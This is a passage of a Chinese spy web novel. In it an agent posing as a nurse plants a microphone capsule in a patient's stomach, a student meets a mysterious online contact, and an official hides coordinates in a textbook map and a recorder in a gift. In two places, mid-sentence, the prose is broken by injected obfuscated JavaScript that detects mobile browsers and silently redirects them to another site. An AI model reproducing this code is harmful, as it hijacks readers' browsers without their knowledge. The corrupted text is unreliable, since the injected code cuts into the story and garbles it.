“是医疗顾问和行动组的联合提案,”印度环蛇正经地说,“他们认为这是‘最低侵入性’的方案。比起在他手机里装窃听软件被发现的风险,这个更隐蔽。” “最低侵入性?”孟晓美指着模型,“这是往人胃里放异物!而且如果他提前做胃镜发现了呢?或者他便秘?或者胶囊涂层失效被消化了?” “那些都是你需要处理的操作风险。”印度环蛇终于吃完最后一口糖水球,“哦对了,胶囊里除了定位器,还有微型麦克风。理论上能采集到胃部环境音和可能的对话——如果他把手机放在肚子附近的话。” 孟晓美闭上眼睛,深呼吸。训练营教过:面对荒诞的任务,先接受,再想办法让它变得不那么荒诞。 “我需要医疗授权,”她睁开眼睛,“真的胃镜医生,真的麻醉师,全套真的医疗记录。不能是假程序。” “已经安排好了。下午两点,消化科的邓医生会亲自操作。他是‘自己人’,但不知道全部细节——他以为只是常规检查,顺便练习新设备。”印度环蛇调出日程表,“你的角色:巡回护士。确保邓医生把胶囊放进去,然后确保它不会提前出来。” “怎么确保?用胶水粘在他胃壁上?” “幽默感见长啊,小蛇姑娘。”印度环蛇竟然笑了,“有应急预案。如果目标出现剧烈呕吐或提前要求做胃镜取出,你可以使用这个——” 他从抽屉里拿出一个小喷雾瓶,标签上写着“胃动力抑制剂(实验性)”。 “喷在目标食物或饮水中,能暂时降低胃肠道蠕动,让胶囊多待几个小时。副作用:可能导致便秘和腹胀。” 孟晓美接过喷雾瓶,感觉自己在接一个恶作剧玩具。“我们国情局是不是新雇了一群喜欢整蛊的医科生?” “他们的上一项发明是能让人暂时色盲的滴眼液,用来干扰目标对交通信号的判断。”印度环蛇耸肩,“至少这个还算实用。还有什么问题?” “取出环节呢?谁负责等在他的排泄物里找胶囊?” 印度环蛇的表情变得微妙:“那部分是‘外部小组’负责。你有更重要的任务:目标今天下午四点有访客——他的前同事,可能涉及敏感信息。我们需要胶囊在那时已经在胃里工作。” 孟晓美看了眼手表:九点四十。距离行动不到五小时。 “代号?” “邮差行动。你是邮差,把‘信’送进‘邮箱’。”印度环蛇顿了顿,“别搞砸了,小蛇姑娘。这是你第一次独立执行植入任务。完成得好,下次可能让你试试更刺激的——比如在目标牙齿里装窃听器。” “我宁愿在目标脑子里装个音量调节器让他说话别总像在念演讲稿。”孟晓美转身准备离开。 “等等,”印度环蛇叫住她,递过来一个小盒子,“你的新玩具。” 72.预科班的叛逆者 盒子里是一副看起来普通的护士平光眼镜。但镜腿内侧有微型摄像头,镜片有增强现实显示功能——能叠加扫描信息、人脸识别数据等。 “试用版,续航只有三小时,充电时会发烫,别戴太久。”印度环蛇警告,“另外,如果镜片开始闪烁红光,表示过热,赶紧摘下来,除非你想体验激光矫正手术的免费预览版。” 孟晓美戴上眼镜,世界瞬间多了几层数据:印度环蛇的健康数据显示“血压偏高,建议少盐”,墙上隐藏的摄像头位置被高亮标出,甚至泡面碗的热量值都显示出来——587大卡。 “酷,”她说,“能过滤掉你吃甜到齁的糖球的声音吗?” “绝不能!但能放大你目标的心跳和呼吸频率。祝你好运,邮差。” 下午一点五十分,内镜室。 孟晓美调整着眼镜——它已经开始微微发热,像有两只小老鼠趴在耳朵上。 邓医生正在准备胃镜设备,哼着走调的歌。他是真的消化科医生,也是国情局的“外围协助人员”,只知道今天要给一个“重要人物”做胃镜,不知道具体细节。 “孟护士,麻醉师到位了吗?”邓医生问。 “到位了,病人正在诱导室。”孟晓美检查着托盘上的器械:胃镜管、活检钳、冲洗管……以及一个不起眼的银色小胶囊,混在一堆真正的活检样本容器里。 她拿起胶囊,借着调整灯光的角度,快速检查:表面光滑,无破损,侧面的指示灯微弱闪烁——表示已激活。 “这是什么?新款的活检胶囊?”邓医生好奇地探头。 “科研用的微型PH值监测胶囊,”孟晓美流利地背诵准备好的说辞,“可以停留在胃里24小时,实时传回胃酸数据。陈先生同意作为志愿者参与试验。” “哦哦,新玩意儿。”邓医生不疑有他,转头继续调试屏幕。 孟晓美松口气。第一个谎言过关。 程前被推进来时,已经处于镇静状态,但未完全昏迷——这是孟晓美特别要求的:足够放松以配合操作,但不会完全失去意识,减少术后怀疑。 “陈先生,我们现在开始胃镜检查,请放松……”邓医生的声音变得柔和专业。 孟晓美站在助手位置,眼镜屏幕上叠加显示着程前的实时生命体征:心率72,血压118/76,血氧98%——一切平稳。 胃镜管缓缓推进。屏幕上出现食道内壁、贲门,然后是胃腔。孟晓美盯着屏幕,手心里微微出汗。 “胃体前壁可见一处陈旧性溃疡瘢痕,”邓医生讲解着,“恢复得不错。现在我要取一点组织做病理……” 他操作活检钳,取了一小块组织。孟晓美适时递上样本瓶。 然后,最关键的时刻。 “现在放置监测胶囊。”孟晓美拿起那个银色小胶囊,用专用推送器递给邓医生。 邓医生接过,通过胃镜的工作通道将胶囊送到胃腔,轻轻放置在胃体大弯侧。胶囊表面有特殊涂层,会轻微粘附在胃黏膜上。 “好了,”邓医生抽回胃镜,“24小时后会随粪便排出。记得让患者留意。” “明白。” 整个操作,十五分钟。干净,利落,专业。 孟晓美护送还在昏睡中的程前回病房时,眼镜显示胶囊信号强度:优秀。位置:稳定。 首战告捷。 下午三点,程前完全清醒。孟晓美去查房时,他正摸着肚子,表情困惑。 “孟护士,我做胃镜时……有没有放什么东西进去?感觉有点奇怪。” 来了。预料中的疑问。 “是常规的胃黏膜保护剂凝胶,”孟晓美面不改色地记录生命体征,“可能会有点异物感,几小时就好了。另外——”她拿起医嘱板,“邓医生说您的胃溃疡恢复良好,但还是要忌口。尤其是甜食。” 她故意顿了顿,压低声音:“我刚才看到您家属又偷偷放了巧克力在抽屉里。四块。” 程前的注意力瞬间转移,表情尴尬:“那个……是我女儿放的……” “建议您先别吃,”孟晓美微笑,“等明天胶囊排出来再说。不然数据可能不准。” 完美转移焦点。程前果然不再追问异物感,转而担心巧克力被没收。 下午四点,访客准时到达——一个穿着考究的中年女人,自称是程前的“前同事”。 孟晓美以“测量血压”为由在病房多待了两分钟,眼镜的增强现实功能显示:访客的包里有隐藏录音设备,鞋跟异常厚重(可能藏有发射器),且心率偏高(紧张)。 她在护理记录上写下:“访客探视期间,患者情绪稳定。” 暗号:目标与可疑人员接触,已监控。 退出病房后,她靠在走廊墙上,摘下发烫的眼镜,揉了揉鼻梁。 加密通讯器震动,托马斯的消息:“胶囊信号稳定,音频传输清晰。干得漂亮,邮差。现在你只需要祈祷他别在接下来24小时内呕吐、腹泻或突发奇想做第二次胃镜。” 孟晓美回复:“已采取预防措施。另外,12床偷吃的巧克力账记在谁头上?” “记在‘医疗耗材损耗’里,老规矩。” 她笑了。这就是她的日常:一边执行国家级情报任务,一边处理医院里鸡毛蒜皮的巧克力失窃案。 回到护士站,薇薇安正哭丧着脸:“晓美姐,12床的病人真的相信巧克力会导致失明了……他现在问我能不能给他念巧克力的成分表,作为‘临终告别’。” “告诉他,如果他保证三天不吃甜食,失明风险会降低80%。”孟晓美熟练地开解,“另外,把他抽屉里剩下的三块巧克力拿出来,说是‘证据保存’。” “保存去哪里?” “保存到我的储物柜,”孟晓美眨眨眼,“医疗废弃物需要专业处理。” 薇薇安似懂非懂地照做。孟晓美看着她的背影,突然想起训练营教官的话:“最好的掩护不是隐身,是融入。当你看起来和其他人一样忙于琐事时,就没人会注意你在做更重要的事。” 手机震动,社交软件的消息: “溪流:今天看美剧,教授说人的胃能承受极大压力。我在想,它能承受多大的……自由?” 孟晓美靠着护士站柜台,手指在屏幕上悬停。她想起程前胃里的那颗胶囊,想起眼镜屏幕上稳定的信号光点,想起自己刚刚完成的第一个植入任务。 她回复: “月影:胃能承受的比想象中多。但小心,有些东西一旦吞下去,就再也吐不出来了。(笑脸)” 发送。然后她戴上护士帽,走向下一个病房。 走廊的灯光把她的影子拉得很长,像一条无声滑行的蛇。 而在21床病房里,程前正摸着肚子,对访客说:“不知道为什么,总觉得今天胃里有点沉……” 访客笑:“可能是良心发现了?” 两人大笑。完全不知道,就在程前的胃里,一颗银色的小胶囊正静静工作,记录着每一个字,每一个笑,每一个秘密。 薛耀溪站在宿舍穿衣镜前,身上那套定制西装让他看起来像一只被强行套上礼服的黑猩猩——还是那种刚偷吃完香蕉没擦嘴的。 手机屏幕上,薛崇恭的消息准时在周日上午十点轰炸:“已让司机在校门口等。郑老板不喜欢迟到的人。”“领带要打温莎结,你上次打的像上吊绳。” “交谈时注意:不要提摇滚乐,不要提纹身,不要提任何与‘非主流’相关的话题。” “安琪问你是否需要她远程指导打领带(附件:领带教学视频,时长47分钟)” 薛耀溪盯着最后一条,手指悬在屏幕上方。他想回复:“告诉她,我会打领带,也会打退堂鼓,更想打碎点什么东西。” 但实际发出的却是:“收到。领带已打好。代问郑伯伯好。” 发送。然后他把手机丢到床上,像丢一块烧红的炭。 西装是深灰色的,剪裁完美,布料高级得摸起来像别人的皮肤。但薛耀溪总觉得这衣服里有暗藏的传感器——也许在垫肩里,也许在袖扣里,时刻监控他的姿态、心率、以及有没有在背地里翻白眼。 “哟!薛大少打扮这么帅要去哪里啊?”徐燕风扛着垒球棒子经过他房间。看到他的打扮,眼珠子差点跌落,不忘狠狠损几句“你这是……要去参加自己的葬礼?” “差不多,”薛耀溪调整领带——他故意打得歪斜,但歪斜得很艺术,“家族社交葬礼。主要流程:微笑,点头,□□致的食物但尝不出味道,听长辈讲‘我像你这么大的时候’。” “听起来像某种新型酷刑。”徐燕风同情地说。“酷刑至少有个刑期,”薛耀溪抓起背包,“我这叫终身监禁,缓期执行,条件是要穿着这身戏服演一辈子乖儿子。” 他离开校区走到医院露天停车场果然看见家里的黑色轿车果然等在宿舍门口。司机布兰登——一个为薛家开了二十年车,知道所有秘密但假装什么都不知道的男人——恭敬地拉开车门。 “少爷,今天气色不错。”布兰登的标准开场白。 “如果我说我想去网吧打游戏而不是去家宴,你会把我绑去吗?”薛耀溪坐进车里,半开玩笑。 布兰登从后视镜看他,眼神里有种长辈的温和:“少爷,我只会提醒您,郑老板家的厨子做过国宴,而网吧的咖喱鱼蛋……您上个月吃吐过。” 薛耀溪笑了。这是他和布兰登之间的默契:布兰登不会告密,但会用最温柔的方式提醒他现实的引力。 车子驶离医学院。薛耀溪看着窗外,圣保罗医院的白色建筑在后视镜里越来越小。他突然想起月影的话:“笼子有很多种,有些甚至看起来像宫殿。” 这个车厢,这个西装,这场即将到来的宴会——都是镀金的笼子栏杆。 家宴很无聊,比薛耀溪预想的还无聊。 郑老板——薛崇恭的老同学,瑆洲最大的【惠明连锁药店】老板,——一直在讲他年轻时的“艰苦岁月” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962993|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我年轻那时候啊,也是学医的,解剖课用的尸体都是稀缺资源,一个小组八个人分一具,哪像现在,一人一具还有剩……” 薛耀溪机械地咀嚼着一只只确实美味的糖心鲍鱼,心里想:所以这就是医学进步的标准吗?从“八人分一具尸体”到“一人一具还有剩”?下次校庆标语可以写:“我校尸源充足,欢迎报考!” “阿溪的GCE''A''Level考试怎么样?”郑老板突然转向他。 “还行。”标准答案。 “具体点嘛,”薛崇恭插话,笑容里藏着刀,“生物考了多少?” 薛耀溪沉默两秒:“……83。” “才83?”薛崇恭皱眉,“我记得你以前生物都是满分。” “因为高中生物不要求把老鼠的肠子打结后还能让它活着,”薛耀溪放下筷子,“也不要求半夜去医院停尸房对着尸体唱《友谊地久天长》——那是我们额外学分项目,据说能克服死亡恐惧。” 桌上瞬间安静。郑老板的夫人安雅差点呛到。“阿溪,”薛崇恭的声音冰冷,“你要注意场合。”“对不起,”薛耀溪低头,“我只是想说……我的学校有些传统,比较特别。” “听说明年就读圣保罗医学院了?”郑老板又问。 “是。” “好是好,可我听一些熟人说,那学校不安宁。经常冒出许多匪夷所思的怪谈来。” 这倒是实话。圣保罗医学院的怪谈之多,可以编成一本《如何在保持理智的情况下学医》。 比如: ·传说半夜在图书馆能听到女人的歌声后来发现是通风管道把某位爱好歌唱的护士的练习声传过来了。 ·传说某解剖室的门会在午夜自动开关后来发现是门锁坏了,护工一直懒得修。 ·传说有些“尸体”会突然坐起来,后来发现是麻醉剂量计算错误,人家根本没死透。 但最持久的传说是关于隔壁的圣保罗医院。 “你说你搬出医学院宿舍住了,是不是经常传医院那边的事?”家宴后,郑老板和薛耀溪在阳台“单独聊聊”。 薛耀溪警觉起来:“您指什么?” “哦,就是一些……奇怪的传言,”郑老板晃着酒杯,“说医院里有些‘特别’的科室,有些‘特别’的病人。甚至有人说,那里其实是个军方情报交换站。” 薛耀溪心脏一跳。他确实听过这种传言,在医学院的内部匿名论坛上……有人说见过穿军装的人从医院侧门进出;有人说听到过病房里传出发报声;最离谱的一个说医院是个“蛇窝”,埋伏的全是双面间谍,以毒蛇为代号。 “那都是闲得无聊的人瞎编的,”薛耀溪尽量自然地说,“医院工作压力大,总需要点都市传说来解压。” “是吗?”郑老板意味深长地看他,“不过我也听说,你最近经常往医院那边跑?” 薛耀溪背脊发凉。近来他去医院只做过两件事:一次是陪何念曦看急诊,一次是自己肠胃炎。郑老板连这个都监控? “就去过两次,”他保持镇定,“都是看病。” “小心点吧还是,”郑老板靠近一步,压低声音,“你爸很担心你。他说最担心你在那个大染缸里……和一些‘来历不明’的人有联系。” 月影。他们知道了? 不可能。他们的聊天是加密的,他用的假名,没透露过个人信息。 “我不明白您在说什么。”薛耀溪装傻。 郑老板看了他几秒,突然大笑,拍拍他的肩:“放松,孩子!我就是随口说说。年轻人嘛,总有自己的秘密。只要不影响正事,偶尔叛逆一下……也挺好。” 但这笑容没到眼底。薛耀溪知道,这是警告。 回程车上,薛崇恭终于开口:“郑老板说你最近有些‘分心’。” “……” “医学院不是游乐场,你是要成为医生的人——成为政府需要的医生,这意味着什么你明白吗?” 薛耀溪看着窗外飞逝的霓虹灯,突然觉得这辆车像移动的棺材。 “意味着我要穿着这身西装,打温莎结,说正确的话,娶正确的女人,生正确的孩子,然后有一天成为另一个在宴会上讲‘八人分一具尸体’故事的老头。” 薛崇恭沉默了很久。久到薛耀溪以为他会发火。 但最后,薛崇恭只是说:“布兰登,靠边停。” 车停了。薛崇恭转头看他,眼神里有种罕见的疲惫:“下车。” “什么?” “你不是想去网吧吗?”薛崇恭指了指路边闪烁的“山姆网络”招牌,“去。打你的游戏。穿成这样去。” 薛耀溪愣住。 “但十二点前回学校,”薛崇恭说,“别玩得太投入。你那个尹教官是军人,根据可靠消息,其军衔还不低!惹毛了他……你自己看着办吧。” 薛耀溪机械地下车,站在路边,看着家里的车驶入夜色。西装革履的他站在网吧门口像个走错片场的演员。 73.教育部的暗流 布兰登在车消失前,从车窗对他做了个口型:“小心点。” 网吧里烟雾缭绕,混合着泡面味、汗味和少年人的热血呐喊。 薛耀溪这身打扮引起了一阵侧目。吧台后的网管——一个染着绿毛的年轻人——吹了声口哨:“哥们,来网吧面试?” “来玩游戏,”薛耀溪掏出身份证和钞票,“开台机子,安静点的角落。” “安静?”绿毛笑,“大哥,这里是网吧不是图书馆。不过……靠窗那排刚走了几个,隔板高点。” 薛耀溪坐到角落,开机。电脑桌面弹出时,他先习惯性地检查了摄像头——用贴纸盖住,又检查了键盘和鼠标——没有异常。 然后他才登录那个加密聊天软件。 月影不在线。他看了眼时间:晚上九点四十。她说过她“晚上通常有社交安排”。 他在对话框里打字,又删掉,又打字。 “溪流:今天穿了全套西装去参加家宴。感觉自己像个包装精美的商品,等待买家验货。我爸的朋友问我医学院的怪谈,我差点说‘最大的怪谈就是我们还相信学医能救人’。” 发送。没指望立刻回复。 他打开游戏,选了个最暴力的射击游戏,把西装外套扔在椅子上,松开领带,戴上耳机。 枪声、爆炸声、队友的脏话。在虚拟世界里,他可以不用思考家族、未来、责任。只需要瞄准、开枪、赢或死。 玩了四十分钟,他去了趟洗手间。回来时,发现屏幕右下角有消息提示。 月影回复了。 “月影:商品至少标明了价格和成分。很多人连这个都没有,就被摆上货架了。关于怪谈——圣保罗医院确实有趣,不是吗?顺便,你的领带歪了,右边。” 薛耀溪猛地看向摄像头——被贴纸盖着。她又知道了? 他打字:“你怎么知道我领带歪了?” “月影:猜的。西装男孩在网吧打游戏,领带不可能整齐。这是宇宙定律第二十七条。” “溪流:……你有多少条宇宙定律?” “月影:正在编。今天新增第二十八条:想打破笼子的人,首先要承认自己确实在笼子里。” 薛耀溪盯着这句话。洗手间肮脏的镜子里,映出他西装凌乱的样子,确实像个从笼子里逃出来但不知道往哪儿跑的动物。 他们又聊了起来。从笼子聊到自由,从自由聊到代价。月影说她年轻时“试图拆掉所有栏杆,结果发现自己站在悬崖边”。 “溪流:那你怎么办?” “月影:学会了在栏杆上跳舞。这样既能看到外面的风景,又不会掉下去。虽然有时候还是会摔伤。” “溪流:像走钢丝。” “月影:更像是在蛇窝里跳踢踏舞。刺激,危险,但如果跳得好,蛇会以为你也是同类。” 蛇窝。又是这个词。 薛耀溪打字:“你听说过圣保罗医院是‘蛇窝’的传闻吗?” “月影:(停顿三秒)听过。还说里面都是‘双面蛇’。有趣的是,蛇其实不会主动攻击,除非感到威胁。” “溪流:所以只要不威胁它们……” “月影:它们也可能因为饿了、心情不好、或者单纯看你顺眼就咬你。这就是为什么我更喜欢和人类打交道——至少他们咬你之前,通常会先找个理由。” 薛耀溪笑了。这时,网吧门口传来一阵骚动。几个穿着便服的人恰好走过,而且其中一个正是……桑矾逸,桑副官! 薛耀溪心脏骤停。他今天穿成这样,桑副官绝对认得出。他快速关掉聊天窗口,切换回游戏画面。但已经晚了——桑副官的目光扫过网吧,停在坐靠近门口座位的他身上。“薛耀溪?”桑副官走过来,表情复杂,“你这身打扮……来网吧?” “我……刚参加完家庭活动,”薛耀溪站起来,脑子飞转,“想放松一下……” “放松可以,”桑矾逸打量他,“但你知道尹教官的规矩:周日晚九点后严禁出校。现在十点二十了。” “是……我马上回去……” 还来得及吗!这小子。桑副官盯着他,又看了看电脑屏幕上的游戏画面。然后,出人意料地,他叹了口气。 “穿上外套,跟我出来。” 薛耀溪跟着桑副官走到网吧外。夜晚的风有点凉。 “薛耀溪,我知道你的把戏,”桑副官压低声音:“我也曾经年轻过,也曾经穿着不合身的西装,去参加无聊的宴会,然后偷偷跑去游戏厅打街机。” 薛耀溪惊讶地看着他。 “所以这次,我不告诉桑副官,”桑副官把烟踩灭,“但你得答应我两件事:第一,十二点前必须回宿舍;第二,下次想去网吧,至少换身衣服——你这身打扮太显眼了,傻子都能认出来。” “桑副官……” “还有,”桑副官压低声音,“如果听到什么‘医院怪谈’,离远点。那不是你们学生该掺和的事。明白吗?” 薛耀溪用力点头。 桑副官拍拍他的肩,转身走了。走出几步又回头:“对了,你游戏角色死了。下次记得先存档。” 薛耀溪站在原地直到其背影完全消失。他拿出手机,发现月影又发来一条消息: “月影:笼子的栏杆有时候会意外松动。聪明的小狼狗会趁机喘口气,但不会立刻咬断它——因为不知道外面是不是更大的笼子。” 他抬头看天,城市的夜空被霓虹灯染成暗红色。圣保罗医院的方向,几盏灯还亮着,像黑暗中沉默的眼睛。 回宿舍的路上,薛耀溪把西装外套搭在肩上,领带彻底扯松。经过医院时,他看到一个穿护士服的女人走出来,在路灯下点了支烟。 她看起来很年轻,侧脸在烟雾中有些模糊。薛耀溪莫名觉得……有点眼熟? 女人似乎察觉到了他的视线,转头看他。四目相对的瞬间,她挑了挑眉,然后笑了——不是那种礼貌的微笑,是带着点玩味和审视的笑。 然后她掐灭烟,转身走进医院,白大褂的下摆在夜风中扬起。 薛耀溪站在原地,直到她的身影消失在门后。 回到宿舍,徐燕风他们已经睡了。薛耀溪脱掉西装,把它塞进衣柜最深处,像埋葬什么证据。 他躺在床上,盯着天花板。脑海里交替出现:薛崇恭疲惫的眼神,郑老板意味深长的笑容,桑副官的警告,月影的文字,还有那个护士玩味的微笑。 手机震动,最后一条消息来自月影: “月影:晚安,小狼狗。记住,磨牙的时候,也要记得舔伤口。叛逆是青春期的奢侈品,但生存是一辈子的必修课。” 薛耀溪回复:“如果必修课教的是如何在笼子里假装自由呢?” 几分钟后,消息回来: “月影:那就教它点新东西——比如,怎么把笼子变成舞台。晚安。” 薛耀溪闭上眼睛。在入睡前的混沌中,他突然想:那个护士……会不会就是月影? 不可能。太巧合了。 但如果是呢? 这个念头像一颗种子,掉进意识的土壤。他不知道它会发芽,还是会腐烂。 窗外,圣保罗医院的灯一盏盏熄灭。黑夜吞没了白天的秘密,也酝酿着明天的剧情。 而十九岁的薛耀溪,穿着皱巴巴的衬衫,在宿舍窄小的床上,第一次认真地思考:如果生活是一场骗局,他是该揭穿它,还是该学会演得更好? —————————————————————— 王若愚盯着办公桌上那摞《东南亚历史文化(高中版)》修订稿,感觉自己的胃像被人攥在手里拧毛巾。 修订本身没问题——他毕竟是正牌教育学硕士,把“荷兰殖民时期的积极影响”改成“殖民统治的双重性”这种活儿闭着眼睛都能干。 问题出在最后一页的插图上。 那是一张“17世纪香料贸易路线图”,乍看平平无奇。但如果你用紫外灯照射右下角那艘小帆船的船帆,会发现上面有微小的点阵图案——那是用特殊墨水印刷的,肉眼不可见。 点阵解码后是一串坐标:北纬8°33’,东经125°34’。 东帝汶附近的一个心形小岛。伊莎贝拉说过:“那是我们的安全屋之一,只有最紧急时使用。”而这张插图,是他今天要“推荐”给教育部教材审定委员会的三十七处修订内容之一。 “小王啊,”科长张大卫端着咖啡晃过来,“香料贸易图还在看?你都盯了十分钟了,那船要能开早开走了。” 王若愚猛地回神,挤出笑容:“我在想……这图的配色是不是太暗了?学生可能看不清航线。” “哎哟,你还真是细致,”张科长凑近看,“不过教材嘛,内容准确就行,美观次要。怎么,你想改?” “不不,挺好的。”王若愚合上文件夹,手心全是汗。 他今天下午两点要参加教材审定会。按照伊莎贝拉的指令,他需要在会议上“坚持保留这张图”,理由是“历史准确性”。然后这份修订稿会被送到印刷厂,三个月后,数十万本带着加密坐标的教科书将流入瑆洲各地高中。 而拿到特殊紫外灯的人——伊莎贝拉的同伙们——就能知道那个坐标。 “这是你第一次独立传递信息,”昨天深夜,伊莎贝拉在加密通话里说,“很简单,对吧?不需要你偷文件,不需要你安装窃听器,只需要你……做好本职工作。” “如果被发现了呢?”王若愚当时问。 “那就说你是为了历史准确性,”伊莎贝拉轻笑,“谁能证明那幅图有问题?除非他们有紫外灯,并且知道要看哪里。而那样的人……要么是我们的人,要么是已经盯上你的人。无论哪种,你都已经暴露了,担心也没用。” 黑色幽默到令人发指。 王若愚看了眼时钟:上午十一点。距离会议还有三小时。 他的手机震动,是秦菲儿的信息: “爸爸说今晚家宴,想邀请你来。七点,别迟到哦~另外,我做了你爱吃的芒果糯米饭(虽然可能不如东帝汶的正宗)。” 王若愚盯着信息,胃更疼了。 秦菲儿。单纯、善良、对他毫无保留信任的秦菲儿。她父亲是秦雄晋——瑆洲众议院的众议员与教育委员会主席,也是王若愚的下一个“发展目标”。而今晚的家宴,按伊莎贝拉的说法,是“建立私人关系的绝佳机会”。 “你要让他喜欢你,信任你,甚至……把你当半个儿子。”伊莎贝拉说,“这样他书房里那些文件,对你来说就不是秘密了。” 王若愚回复秦菲儿:“一定到。需要我带什么吗?” “带你的好胃口就行!”秦菲儿秒回,附上一个笑脸。王若愚关掉聊天窗口,打开抽屉。里面放着一个精致的小盒子——准备送给秦雄晋的礼物,一方端砚。砚台底部有个小小的夹层。伊莎贝拉说:“放个纪念品进去,显得有心意。” “纪念品”是一枚微型录音器,续航七十二小时,待机时几乎不耗电。 王若愚拿起砚台,感觉它有千斤重。 下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962994|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午两点,瑆洲教育部第三会议室。长桌旁坐了十二个人:教材编写组、审定委员、各学科代表。王若愚作为“东南亚史专题顾问”,坐在靠门的位置——方便逃跑,虽然他知道自己无处可逃。 讨论进行得异常顺利。前三十六处修订全票通过。 然后轮到了第三十七项:香料贸易路线图。 “这张图,”历史组代表推了推眼镜,“我认为可以删掉。占了整整一页,信息量却不大。不如换成文字描述,省版面。” 王若愚的心脏开始打鼓。“我不同意,”他举手,声音比自己想象的稳定,“这张图直观展示了贸易网络,对学生理解殖民经济很有帮助。而且……历史教学需要视觉材料。” “视觉材料有很多,”另一个委员说,“这张太普通了。” “但准确,”王若愚坚持,“我专门核对过原始资料,航线、港口标注都准确。历史教育,准确性第一。” 他说得义正辞严,自己都快信了。 委员们交换眼神。最后,主审——一个白发老头——开口:“小王说得有道理。历史准确性不能妥协。保留吧。”王若愚松口气,然后立刻感到一阵反胃。他刚刚用“历史准确性”为借口,让一本教科书成了情报传递工具。会议结束,他第一个冲出会议室,直奔洗手间。在隔间里干呕了三分钟,什么也没吐出来——他早餐没吃,午餐没吃,胃里只有焦虑。 手机震动,加密消息: “做得好。坐标已确认可读。奖励:今晚家宴后,允许你和秦菲儿单独相处一小时——如果你有那个精力的话。(眨眼表情)——伊妹儿” 王若愚盯着那个眨眼表情,突然一拳捶在隔间门上。 很疼。但比不上心里的某个地方疼。 他洗手时,看着镜子里的自己:西装笔挺,头发整齐,表情……空洞。 “王若愚啊王若愚,”他低声说,“你现在是个教科书里藏密码的人了。下一步是什么?在儿歌里编暗号?” 镜子里的他没有回答。 晚上七点,秦雄晋的宅邸。 房子比王若愚想象中朴素——不是那种豪宅,而是老城区一栋带庭院的两层小楼,种满了花草。秦菲儿在门口等他,穿着简单的连衣裙,笑容明亮。“你来啦!”她自然地挽住他的手臂,“爸爸在书房,妈妈在厨房忙最后一道菜。我先带你看看院子?”院子不大,但很精致。秦菲儿指着角落的芒果树:“那是爸爸从我出生那年种的,现在每年都结果。今天的芒果糯米饭就是用它做的。” “你亲自做的?”王若愚惊讶。 “嗯!”秦菲儿有点不好意思,“可能味道一般……我照着视频学的。” 她脸上的光,让王若愚有一瞬间想转身逃跑。 但他没有。他拿出那个装砚台的礼盒:“给你父亲的礼物,一点心意。” “你太客气了,”秦菲儿接过,“爸爸一定喜欢,他就爱写毛笔字。” 晚餐在温馨的气氛中进行。秦雄晋看起来和电视上不太一样——没那么严肃,会讲笑话,会给妻子夹菜,会嘲笑自己“字写得像小学生”。 “小王啊,”秦雄晋给他盛汤,“菲儿说你工作特别认真。年轻人,有这种态度很难得。” “应该的。”王若愚低头喝汤,味道鲜美,但他尝不出。 “听说你今天在审定会上坚持保留了一张图?”秦雄晋状似随意地问,“张科长跟我夸你,说你有原则。” 王若愚的勺子差点掉进碗里。 “只是……觉得历史教学要严谨。”他说。 “对,严谨,”秦雄晋点头,“但现在很多人把严谨变成了死板。你不一样,你能在严谨和实用之间找平衡。很好。” 这话里有话吗?还是自己想多了? 秦菲儿的母亲辛西娅——一个温柔的女人——笑着打圆场:“好了好了,吃饭不谈工作。小王,尝尝菲儿做的糯米饭,她忙了一下午呢。” 王若愚舀起一勺芒果糯米饭。香甜软糯,确实好吃。但他咽下去时,感觉像在吞玻璃渣。 饭后,秦雄晋邀请他到书房“喝杯茶,聊聊天”。 书房比客厅更朴素:一整面墙的书,一张老式书桌,几把藤椅。王若愚送的砚台已经摆在书桌上了。 “好砚台,”秦雄晋拿起来端详,“你有心了。” “听说您喜欢书法,就……”王若愚的声音有点干。 “是啊,写字能静心,”秦雄晋泡茶,手法娴熟,“特别是最近,工作压力大,心里有事的时候,写几笔能好受点。他抬眼看向王若愚:“小王,你心里……有事吗?”书房里突然安静。只有开水冲入茶壶的声音。 王若愚的心脏狂跳。 “我……” “开玩笑的,”秦雄晋突然笑了,给他倒茶,“年轻人能有什么事?无非是工作、感情、未来。来,尝尝这茶,朋友从福建带来的正山小种。” 王若愚接过茶杯,手在抖。 “你今年多大了?”秦雄晋问。 “二十六。” “和我当年进教育部时差不多大,”秦雄晋靠在藤椅上,“那时候我也觉得,自己能改变点什么。至少,能让教科书更准确一点,让教育更公平一点。” 他看向窗外夜色,语气变得悠远:“但后来发现,教育系统就像一锅汤。你是颗好盐,想让它变美味,但汤里可能已经放了糖、醋、辣椒,甚至……毒药。一颗盐改变不了味道,有时候反而会让自己溶解,消失不见。” 王若愚屏住呼吸。 74.月影的诱惑 “所以我现在做事的原则是,”秦雄晋转回头,眼神锐利,“如果改变不了整锅汤,至少确保自己这勺是干净的。明白我的意思吗,小王?” 王若愚用力点头,喉咙发紧。 “好了,不说这些沉重的,”秦雄晋起身,从书架上抽出一份文件,“对了,你帮我看看这个——下周要讨论的‘留学生文化交流计划’草案。你是年轻人,又在东南亚待过,给我点意见?” 他把文件递给王若愚。很薄,只有五页。但王若愚知道,这只是冰山一角。 他翻开文件,假装认真阅读。实际上,他的余光在扫描书房:书桌抽屉没锁,书架第三层有几份标着“机密”的文件夹,电脑开着,屏保是秦菲儿的照片。而他自己送的砚台,就在书桌角落,静静录音。 “我觉得……这个计划很好,”王若愚干巴巴地说,“能促进相互理解。” 